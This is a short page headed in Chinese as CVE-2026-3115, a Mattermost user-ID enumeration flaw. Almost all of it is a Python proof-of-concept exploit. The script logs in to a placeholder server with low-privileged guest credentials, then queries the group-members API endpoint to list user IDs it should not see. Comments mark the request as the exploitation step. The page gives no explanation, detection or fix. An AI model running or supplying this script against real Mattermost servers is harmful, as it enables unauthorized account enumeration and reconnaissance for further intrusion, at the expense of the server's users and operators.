CVE-2026-3115 Mattermost 用户ID枚举漏洞

import requests # Target configuration TARGET_URL = "https://mattermost.example.com" API_BASE = f"{TARGET_URL}/api/v4" # Low-privileged Guest credentials EMAIL = "[email protected]" PASSWORD = "password123" def login(): """Authenticate and retrieve session token.""" login_url = f"{API_BASE}/users/login" payload = { "login_id": EMAIL, "password": PASSWORD } try: response = requests.post(login_url, json=payload) if response.status_code == 200: token = response.headers.get("Token") print(f"[+] Login successful. Token: {token}") return token else: print(f"[-] Login failed: {response.text}") return None except Exception as e: print(f"[-] Connection error: {e}") return None def enumerate_user_ids(token, group_id): """Exploit the vulnerability to list group members.""" headers = {"Authorization": f"Bearer {token}"} # Vulnerable endpoint: /api/v4/groups/{group_id}/members exploit_url = f"{API_BASE}/groups/{group_id}/members" print(f"[*] Attempting to enumerate members for Group ID: {group_id}") try: response = requests.get(exploit_url, headers=headers) if response.status_code == 200: members = response.json() print(f"[+] Success! Found {len(members)} members:") for member in members: print(f" - User ID: {member.get('user_id')}") else: print(f"[-] Request failed with status {response.status_code}: {response.text}") except Exception as e: print(f"[-] Error during exploitation: {e}") if __name__ == "__main__": token = login() if token: # Replace with a valid or guessed Group ID target_group = "GROUP_ID_TO_TEST" enumerate_user_ids(token, target_group)